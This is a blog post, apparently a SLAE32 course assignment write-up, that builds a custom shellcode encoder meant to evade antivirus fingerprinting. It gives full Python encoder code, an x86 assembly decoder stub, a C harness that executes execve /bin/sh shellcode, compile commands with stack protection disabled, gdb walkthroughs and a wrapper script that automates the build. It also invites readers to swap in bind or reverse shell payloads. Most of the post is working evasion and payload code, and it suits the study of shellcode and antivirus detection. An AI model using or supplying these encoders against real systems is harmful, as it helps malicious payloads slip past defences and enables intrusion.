Overview<\/h2>\n\n\n\n
To prevent a shellcode payload from being fingerprinted by AV solutions, it is necessary to obfuscate its functionality.<\/p>\n\n\n\n
One of the ways this can be done is through encoding the shellcode payload. The general idea behind this is to take an original shellcode, perform a given mutation on each of the bytes in order to hide what it does, and then reverse this during in-memory execution to revert each byte back to its original functionality.<\/p>\n\n\n\n
Some of the more commonly-used schemes for encoding shellcode include:<\/p>\n\n\n\n
- \n
- XOR<\/li>\n\n\n\n
- ROT<\/li>\n\n\n\n
- base64<\/li>\n<\/ul>\n\n\n\n
In XOR<\/strong> encoding, the encoder performs an XOR<\/strong> operation on each byte of shellcode using a given encoder byte<\/strong> or key<\/strong> e.g. 0xAA<\/strong>. When executed in memory, the decoder stub<\/strong> of the shellcode will then XOR<\/strong> each byte of the encoded shellcode with the provided key, in order to recover the original shellcode. From there, control is passed to the decoded shellcode for it to carry out its functionality.<\/p>\n\n\n\n
![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220410171149.png\")
<\/figure>\n\n\n\n<\/p>\n\n\n\n
Unsurprisingly, many of these encoding routines are well-known and fingerprinted by the majority of anti-virus engines. As such, it is beneficial to develop encoders at a low-level, where they may be highly-customised and distinguished from known variants. Assembly is just the language to achieve this aim.<\/p>\n\n\n\n
\n\n\n\nCustom Encoder<\/h3>\n\n\n\n
In this blog post, we present a custom shellcoder encoder\/decoder in Python and Assembly.<\/p>\n\n\n\n
This encoder works in three layers. On a given shellcode, the encoder performs XOR<\/strong> encryption on each byte using a key of 0x7<\/strong>. This encrypted byte is then obfuscated further using NOT<\/strong> encoding.<\/p>\n\n\n\n
To further obfuscate the shellcode, additional padding is introduced through an insertion encoder, which the byte '0xBA' between each legitimate instruction.<\/p>\n\n\n\n
In this given example, the shellcode that we have chosen to encode is a simple syscall to execve()<\/strong> to execute the \/bin\/sh<\/strong> command and spawn a shell.<\/p>\n\n\n\n
The custom encoder is written as follows:<\/p>\n\n\n
\n#!\/usr\/bin\/python3\n\n# Python Custom Shellcode Encoder\n# Shellcode is XOR encoded with a key of 0x7 and then NOT encoded\n# Next, a random number between 1 and 100 is inserted to pad the shellcode\n\nimport random\n\nshellcode = bytearray(b"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80")\n\n#e_shellcode = ""\n\ndef encode(shellcode):\n\n encoded = ""\n encoded2 = ""\n\n print("[*] Encoded shellcode:")\n\n for x in shellcode:\n\n rand = random.randint(1,100)\n # XOR x with 0x7\n y = x ^ 0x7\n z = ~y\n encoded += '\\\\x'\n encoded += '%02x' % (z & 0xff)\n # Insert random number between 1 and 100\n encoded += '\\\\x%02x' % 0xBA\n\n encoded2 += '0x'\n encoded2 += '%02x,' % (z & 0xff)\n encoded2 += '0x%02x,' % 0xBA\n\n return encoded, encoded2\n\ndef decode(e_shellcode):\n\n decoded = ""\n decoded2 = ""\n\n print("\\n[*] Decoded shellcode:")\n\n for i in range(0, len(e_shellcode)):\n # XOR x with 0x7\n y = ~ e_shellcode[i] & 0xff\n z = y ^ 0x7\n\n # Skip every other padding byte\n if i % 2 != 0:\n continue\n\n decoded += '\\\\x'\n decoded += '%02x' % z\n\n decoded2 += '0x'\n decoded2 += '%02x,' % z\n\n return decoded, decoded2\n\ndef main():\n\n # Add a 0xbb as markers for end of encoded shellcode\n encoded, encoded2 = encode(shellcode)\n #print('\\\\'.join(encoded.split('\\\\')[:-1]) + '\\\\xbb')\n print(','.join(encoded2.split(',')[:-2]) + ",0xbb")\n\n #decoded, decoded2 = decode(e_shellcode)\n #print(decoded)\n #print(decoded2[:-1])\n\nif __name__ == "__main__":\n main()\n<\/pre><\/div>\n\n\n
\n\n\n\nCustom Decoder<\/h3>\n\n\n\n
The custom decoder is written in assembly, and is designed to reverse the encoding procedure performed by the python encoder.<\/p>\n\n\n
\n; custom-decoder.nasm\n; Author: Jack McBride (PA-6483)\n; Website: https:\/\/jacklgmcbride.co.uk\n;\n; Purpose: SLAE32 exam assignment\n;\n;\n; Assignment 4: Custom Encoder\n\nglobal _start\n\nsection .text\n\n_start:\n\n jmp short call_shellcode; Jump to the call_shellcode label\n\ndecoder:\n\n pop esi; POP the location of our shellcode into ESI\n lea edi, [esi]; Load the ESI register into EDI so both are pointing to the shellcode\n xor ebx, ebx; Clear EBX register\n xor eax, eax; Clear EAX register\n\ndecode:\n\n mov bl, byte[esi + eax]; Move byte of encoded shellcode into BL\n mov dl, bl; Copy byte to DL\n xor dl, 0xbb; Check if at end of shellcode\n jz EncodedShellcode; If at the end, jump to the decoded shellcode\n test al, 1; Check if at an odd byte (padding)\n jnz decode_loop_inc;\n not bl; Perform NOT decoding on BL\n xor bl, 0x7; XOR BL with 0x7\n mov byte [edi], bl; Move decoded BL byte into EDI\n inc edi; Point EDI at next byte\n inc eax; Increment EAX by one\n jmp short decode; Decode next byte\n\ndecode_loop_inc:\n\n add al, 1; Increment AL by 1\n jmp short decode; Decode next byte\n\ncall_shellcode:\n\n call decoder; Call the decoder label\n EncodedShellcode: db 0xc9,0x54,0x38,0x07,0xa8,0x19,0x90,0x40,0xd7,0x59,0xd7,0x08,0x8b,0x0b,0x90,0x13,0x90,0x54,0xd7,0x13,0x9a,0x13,0x91,0x5d,0x96,0x06,0x71,0x36,0x1b,0x0e,0xa8,0x4b,0x71,0x47,0x1a,0x4e,0xab,0x07,0x71,0x09,0x19,0x34,0x48,0x60,0xf3,0x51,0x35,0x40,0x78,0xbb\n<\/pre><\/div>\n\n\n
Testing the encoder<\/h3>\n\n\n\n
To test the encoder, we will use it to encode a simple shellcode payload.<\/p>\n\n\n\n
To begin, we generate the original shellcode which we wish to encode. This can be any chosen shellcode, but in our example case it is a call to execve()<\/strong> to execute \/bin\/sh<\/strong> and spawn a shell.<\/p>\n\n\n
\nshellcode = bytearray(b"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80")\n<\/pre><\/div>\n\n\n
Next, we paste the original shellcode into the shellcode variable of the custom_decoder.py<\/strong> file:<\/p>\n\n\n
\n#!\/usr\/bin\/python3\n\n# Python Custom Shellcode Encoder\n# Shellcode is XOR encoded with a key of 0x7 and then NOT encoded\n# Next, a random number between 1 and 100 is inserted to pad the shellcode\n\nimport random\n\nshellcode = bytearray(b"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80")\n...\n<\/pre><\/div>\n\n\n
We run custom_encoder.py<\/strong>, which outputs the encoded shellcode in two different formats.<\/p>\n\n\n
\n\u250c\u2500\u2500(root\u327fkali)-[\/home\/jack\/SLAE32\/Assignment 4: Custom Encoder] python3 custom_encoder.py\n\n[*] Encoded shellcode:\n\\xc9\\x54\\x38\\x07\\xa8\\x19\\x90\\x40\\xd7\\x59\\xd7\\x08\\x8b\\x0b\\x90\\x13\\x90\\x54\\xd7\\x13\\x9a\\x13\\x91\\x5d\\x96\\x06\\x71\\x36\\x1b\\x0e\\xa8\\x4b\\x71\\x47\\x1a\\x4e\\xab\\x07\\x71\\x09\\x19\\x34\\x48\\x60\\xf3\\x51\\x35\\x40\\x78\\xbb\n0xc9,0x54,0x38,0x07,0xa8,0x19,0x90,0x40,0xd7,0x59,0xd7,0x08,0x8b,0x0b,0x90,0x13,0x90,0x54,0xd7,0x13,0x9a,0x13,0x91,0x5d,0x96,0x06,0x71,0x36,0x1b,0x0e,0xa8,0x4b,0x71,0x47,0x1a,0x4e,0xab,0x07,0x71,0x09,0x19,0x34,0x48,0x60,0xf3,0x51,0x35,0x40,0x78,0xbb\n<\/pre><\/div>\n\n\n
We copy the second format (0x) and paste it into the call_shellcode<\/strong> section of custom_decoder.nasm<\/strong>:<\/p>\n\n\n
\n...\ncall_shellcode:\n\n call decoder\n EncodedShellcode: db 0xc9,0x54,0x38,0x07,0xa8,0x19,0x90,0x40,0xd7,0x59,0xd7,0x08,0x8b,0x0b,0x90,0x13,0x90,0x54,0xd7,0x13,0x9a,0x13,0x91,0x5d,0x96,0x06,0x71,0x36,0x1b,0x0e,0xa8,0x4b,0x71,0x47,0x1a,0x4e,0xab,0x07,0x71,0x09,0x19,0x34,0x48,0x60,0xf3,0x51,0x35,0x40,0x78,0xbb\n<\/pre><\/div>\n\n\n
We use nasm<\/strong> and ld<\/strong> to compile the shellcode.<\/p>\n\n\n
\n\u250c\u2500\u2500(root\u327fkali)-[\/home\/jack\/SLAE32\/Assignment 4: Custom Encoder]\n\u2514\u2500# nasm -f elf32 -o custom_decoder.o custom_decoder.nasm\n\n\u250c\u2500\u2500(root\u327fkali)-[\/home\/jack\/SLAE32\/Assignment 4: Custom Encoder]\n\u2514\u2500# ld -o custom_decoder custom_decoder.o\n<\/pre><\/div>\n\n\n
Using objdump, we dump the bytes of the encoded shellcode:<\/p>\n\n\n
\n\u250c\u2500\u2500(root\u327fkali)-[\/home\/jack\/SLAE32\/Assignment 4: Custom Encoder]\n\u2514\u2500# objdump -d custom_decoder |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\\t' ' '|sed 's\/ $\/\/g'|sed 's\/ \/\\\\x\/g'|paste -d '' -s |sed 's\/^\/"\/'|sed 's\/$\/"\/g'\n"\\xeb\\x24\\x5e\\x8d\\x3e\\x31\\xdb\\x31\\xc0\\x8a\\x1c\\x06\\x88\\xda\\x80\\xf2\\xbb\\x74\\x18\\xa8\\x01\\x75\\x0b\\xf6\\xd3\\x80\\xf3\\x07\\x88\\x1f\\x47\\x40\\xeb\\xe7\\x04\\x01\\xeb\\xe3\\xe8\\xd7\\xff\\xff\\xff\\xc9\\x54\\x38\\x07\\xa8\\x19\\x90\\x40\\xd7\\x59\\xd7\\x08\\x8b\\x0b\\x90\\x13\\x90\\x54\\xd7\\x13\\x9a\\x13\\x91\\x5d\\x96\\x06\\x71\\x36\\x1b\\x0e\\xa8\\x4b\\x71\\x47\\x1a\\x4e\\xab\\x07\\x71\\x09\\x19\\x34\\x48\\x60\\xf3\\x51\\x35\\x40\\x78\\xbb"\n<\/pre><\/div>\n\n\n
We paste the encoded shellcode into the code<\/strong> variable of our shellcode.c<\/strong> file, as defined below:<\/p>\n\n\n
\n#include<stdio.h>\n#include<string.h>\n\nunsigned char code[] = \\\n"\\xeb\\x24\\x5e\\x8d\\x3e\\x31\\xdb\\x31\\xc0\\x8a\\x1c\\x06\\x88\\xda\\x80\\xf2\\xbb\\x74\\x18\\xa8\\x01\\x75\\x0b\\xf6\\xd3\\x80\\xf3\\x07\\x88\\x1f\\x47\\x40\\xeb\\xe7\\x04\\x01\\xeb\\xe3\\xe8\\xd7\\xff\\xff\\xff\\xc9\\x54\\x38\\x07\\xa8\\x19\\x90\\x40\\xd7\\x59\\xd7\\x08\\x8b\\x0b\\x90\\x13\\x90\\x54\\xd7\\x13\\x9a\\x13\\x91\\x5d\\x96\\x06\\x71\\x36\\x1b\\x0e\\xa8\\x4b\\x71\\x47\\x1a\\x4e\\xab\\x07\\x71\\x09\\x19\\x34\\x48\\x60\\xf3\\x51\\x35\\x40\\x78\\xbb";\n\nint main()\n{\n\n printf("Shellcode Length: %d\\n", strlen(code));\n\n int (*ret)() = (int(*)())code;\n\n ret();\n\n}\n<\/pre><\/div>\n\n\nWe compile the shellcode.c<\/strong> file using gcc<\/strong>:<\/p>\n\n\n
\n\u250c\u2500\u2500(root\u327fkali)-[\/home\/jack\/SLAE32\/Assignment 4: Custom Encoder]\n\u2514\u2500# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode\n<\/pre><\/div>\n\n\n
Finally, we execute the shellcode and get a \/bin\/sh shell. Success!<\/p>\n\n\n\n
![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220501175009.png\")
<\/figure>\n\n\n\n<\/p>\n\n\n\n
\n\n\n\nGDB Analysis<\/h3>\n\n\n\n
Next, we analyse how our decoder works at an instruction level using gdb<\/a>.<\/p>\n\n\n\n
![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220501200457.png\")
<\/figure>\n\n\n\n<\/p>\n\n\n\n
We disassemble the &code variable where our decoder stub begins, and set a break point to it. Next, we continue execution through the program until we hit the break point:<\/p>\n\n\n\n
![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220501200632.png\")
<\/figure>\n\n\n\n<\/p>\n\n\n\n
We reach the beginning of our decoder stub, where our encoded shellcode is moved into the ESI<\/strong> register:<\/p>\n\n\n\n
![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220501200829.png\")
<\/figure>\n\n\n\n<\/p>\n\n\n\n
At any time during the decoding routine, we can examine the contents of the shellcode buffer as follows:<\/p>\n\n\n\n
![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220502155217.png\")
<\/figure>\n\n\n\n<\/p>\n\n\n\n
The first byte of our encoded shellcode is moved into the BL<\/strong> register, in preparation for being decoded:<\/p>\n\n\n\n
![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220501201034.png\")
<\/figure>\n\n\n\n<\/p>\n\n\n\n
First, the NOT<\/strong> operation is performed on the first shellcode byte:<\/p>\n\n\n\n
![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220501201209.png\")
<\/figure>\n\n\n\n<\/p>\n\n\n\n
Next, the byte is XOR<\/strong>ed with 0x7<\/strong>:<\/p>\n\n\n\n
![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220501201310.png\")
<\/figure>\n\n\n\n<\/p>\n\n\n\n
This returns the byte back to its original decoded value. The decoder loop then starts back from the beginning again.<\/p>\n\n\n\n
On every subsequent run of the loop, the decoder stub has to skip past the extra byte added for padding. It does this by keeping a counter in the AL<\/strong> register, which, starting at 0x0<\/strong> is incremented at every run of the decoding routine.<\/p>\n\n\n\n
The test<\/strong> instruction checks whether AL<\/strong> is an odd number, which it is in when the current byte is padding:<\/p>\n\n\n\n
![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220502155325.png\")
<\/figure>\n\n\n\n<\/p>\n\n\n\n
In cases where AL<\/strong> is an odd number, the jump is taken back to the start of the decoding routine at the next shellcode byte:<\/p>\n\n\n\n
![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220502155423.png\")
<\/figure>\n\n\n\n<\/p>\n\n\n\n
To study the progression of the shellcode being decoded, we can set a breakpoint on the inc EDI<\/strong> instruction and modify our hook-stop<\/strong> to print 50 bytes from the ESI<\/strong> register like so:<\/p>\n\n\n\n
![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220502155555.png\")
<\/figure>\n\n\n\n<\/p>\n\n\n\n
Now, when we continue the program execution, the shellcode buffer will be printed. We note that the first byte, which was originally 0xc9, is now 0x31:<\/p>\n\n\n\n
![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220502155637.png\")
<\/figure>\n\n\n\n<\/p>\n\n\n\n
We confirm that this is in line with our original shellcode buffer:<\/p>\n\n\n\n
![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220501224607.png\")
<\/figure>\n\n\n\n<\/p>\n\n\n\n
We continue hitting this breakpoint until the entire buffer is decoded and the \/bin\/sh shell is executed.<\/p>\n\n\n\n
![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220502155750.png\")
<\/figure>\n\n\n\n<\/p>\n\n\n\n
The decoded shellcode works as expected. Nice!<\/p>\n\n\n\n
![\"\"\/](\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220501224846.png\")
<\/figure>\n\n\n\n<\/p>\n\n\n\n
\n\n\n\nThis concludes the analysis on our custom encoder. In place of executing \/bin\/sh<\/strong>, the payload can be flexibly replaced with a TCP bind<\/strong> or reverse<\/strong> shell. More information on this implementations of this can be found in blog posts 1 & 2 in this series.<\/p>\n\n\n\n
\n\n\n\nCode<\/h3>\n\n\n\n
In addition to the assembly and C implementations of the custom decoder example, we have implemented a Python wrapper script, custom_decoder.py<\/strong> to automatically generate a working demo.<\/p>\n\n\n\n
To run, replace the shellcode<\/strong> variable in custom_encoder.py<\/strong> with your choice of sh, bind or reverse shell payload.<\/p>\n\n\n\n
This code is as follows:<\/p>\n\n\n
\n#!\/usr\/bin\/python3\nimport os\n\ndef update_decoder(shellcode):\n\n decoder_file = open("custom_decoder.nasm", "rt")\n data = decoder_file.read()\n data = data.replace("SHELLCODE", shellcode)\n\n decoder_file.close()\n decoder_file = open("tmp.nasm", "wt")\n decoder_file.write(data)\n decoder_file.close()\n\ndef set_shellcode(shellcode):\n\n shellcode_file = open("shellcode.c", "rt")\n data = shellcode_file.read()\n data = data.replace("SHELLCODE", shellcode)\n\n shellcode_file.close()\n shellcode_file = open("tmp.c", "wt")\n shellcode_file.write(data)\n shellcode_file.close()\n\ndef gen_shellcode(filename):\n stream = os.popen("""objdump -d {} |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\\t' ' '|sed 's\/ $\/\/g'|sed 's\/ \/\\\\\\\\x\/g'|paste -d '' -s |sed 's\/^\/"\/'|sed 's\/$\/"\/g'""".format(filename))\n shellcode = stream.read().rstrip()\n shellcode = shellcode.strip('"')\n return shellcode.strip('"')\n\ndef main():\n\n encoded = os.popen('python3 custom_encoder.py').read().split('\\n')[1].strip()\n\n # Insert encoded execve() payload into decoder\n update_decoder(encoded)\n os.system('nasm -f elf32 -o tmp.o tmp.nasm')\n os.system('ld -o tmp tmp.o')\n\n # Generate custom decoder shellcode\n shellcode = gen_shellcode('tmp')\n # Copy shellcode into shellcode.c\n set_shellcode(shellcode)\n\n # Compile C skeleton file\n os.system('gcc -fno-stack-protector -z execstack tmp.c -o custom_decoder')\n\n # Cleanup\n os.system('rm tmp*')\n\nif __name__ == "__main__":\n main()\n<\/pre><\/div>\n\n\nThe Python, Assembly, and C source code for my custom encoder implementation can be found on my GitHub repository<\/a>.<\/p>\n\n\n\n
\n\n\n\n